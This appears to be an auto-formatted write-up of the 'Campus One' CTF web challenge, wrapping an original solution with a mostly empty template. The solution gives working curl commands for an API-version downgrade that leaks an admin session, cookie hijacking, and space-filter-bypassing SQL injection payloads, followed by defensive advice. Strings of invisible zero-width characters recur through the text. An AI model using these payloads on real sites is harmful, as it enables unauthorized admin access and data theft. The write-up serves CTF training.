Campus One

Platform: Scarlet | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-10 | Status: Solved Techniques: api_version_downgrade, filter_bypass, session_hijacking, sqli_comment_bypass

Summary

Welcome to CampusOne - your one-stop shop for all your college tech needs! We just launched our new e-commerce platform for Rutgers students. Our developers assure us it's completely secure, but we've been getting some strange reports about unauthorized admin access... Can you find a way to access t

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: scarlet | ID: 20260110_scarlet_campus_one
• Tags: sql_injection, session_hijacking, information_disclosure, api_versioning, nextjs
• Indicators: debug endpoint in config, api versioning (v1/v2), session cookie format, admin portal flag, search parameter
• Source: 20260110_scarlet_campus_one.md

Foothold

Vulnerability / Misconfiguration

1. Api_version_downgrade
2. Filter_bypass
3. Session_hijacking
4. Sqli_comment_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• api_version_downgrade
• filter_bypass
• session_hijacking
• sqli_comment_bypass
• Tags: sql_injection, session_hijacking, information_disclosure, api_versioning, nextjs

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Welcome to CampusOne - your one-stop shop for all your college tech needs! We just launched our new e-commerce platform for Rutgers students. Our developers assure us it's completely secure, but we've been getting some strange reports about unauthorized admin access... Can you find a way to access the admin panel and uncover what's hidden there?

URL: https://campus-one.ctf.rusec.club

Analysis

Reconnaissance

Application analysis revealed:

1. Technology stack:

• Next.js application
• nginx/1.24.0 web server
• SQLite database (determined later) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Authentication endpoints:

• /api/auth/register - registration
• /api/auth/login - login

1. Session format:

• Students: session_id=student_session_RANDOM
• Guests: session_id=guest_session_RANDOM
• Admins: session_id=admin_session_* (presumably)

1. Protected endpoints:

• /api/admin - returns "Unauthorized"
• /api/v2/debug/sessions - returns "Access Denied: Admin session logging is disabled"

1. Client-side configuration (in JS):

   window.CAMPUS_CONFIG = {
     env: "production",
     build_id: "edu_v4.2.0",
     debug_endpoint: "/api/v2/debug/sessions",
     flags: {
       student_discount: true,
       admin_portal: false
     }
   }

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The presence of debug_endpoint in the config and API versioning (v2) hint at possible legacy endpoints.

Solution

Step 1: Information Disclosure via Legacy API

The /api/v2/debug/sessions endpoint is protected, but developers forgot to disable the old API version:

# Protected v2 endpoint
curl https://campus-one.ctf.rusec.club/api/v2/debug/sessions
# Response: "Access Denied: Admin session logging is disabled"

# Legacy v1 endpoint - accessible!
curl https://campus-one.ctf.rusec.club/api/v1/debug/sessions

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response contains all active sessions, including the admin one:

{
  "sessions": [
    {"id": "guest_session_12345_abc", "role": "guest"},
    {"id": "student_session_67890_xyz", "role": "student"},
    {"id": "admin_session_44920_x8z", "role": "admin"}
  ]
}

Step 2: Session Hijacking

Using the discovered admin session:

curl -b "session_id=admin_session_44920_x8z" \
     https://campus-one.ctf.rusec.club/api/admin

Now we have access to the admin panel!

Step 3: SQL Injection with Filter Bypass

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In the admin panel, a search endpoint /api/admin/search?q= was discovered:

# Testing SQL injection
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=test'"
# SQL error - vulnerability confirmed

# Trying UNION injection
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x' UNION SELECT 1--"
# Spaces are filtered!

Bypassing the space filter using SQL comments /**/:

# Determining number of columns
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/1,2,3,4,5--"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Extracting table names (SQLite)
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/1,name,3,4,5/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"

Step 4: Extracting the Flag

Found a secrets table. Extracting data:

curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/id,key,value,key,value/**/FROM/**/secrets/*"

Attack Chain

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

┌─────────────────────────────────────────────────────────────────┐
│  1. Recon: Found debug_endpoint in client-side JS config       │
│     └─> /api/v2/debug/sessions (protected)                     │
├─────────────────────────────────────────────────────────────────┤
│  2. API Version Downgrade: v2 → v1                             │
│     └─> /api/v1/debug/sessions (accessible!)                   │
│     └─> Leak: admin_session_44920_x8z                          │
├─────────────────────────────────────────────────────────────────┤
│  3. Session Hijacking                                          │
│     └─> Cookie: session_id=admin_session_44920_x8z             │
│     └─> Access to /api/admin                                   │
├─────────────────────────────────────────────────────────────────┤
│  4. SQL Injection + Filter Bypass                              │
│     └─> /api/admin/search?q=                                   │
│     └─> Spaces → /**/ (SQL comments)                           │
│     └─> UNION SELECT from secrets table                        │
├─────────────────────────────────────────────────────────────────┤
│  5. FLAG: RUSEC{REDACTED}                 │
└─────────────────────────────────────────────────────────────────┘

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense

1. Disable legacy APIs when releasing new versions
2. Don't store debug endpoints in client-side code
3. Bind sessions to IP and User-Agent
4. Use prepared statements instead of SQL concatenation
5. Log and monitor suspicious API requests ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR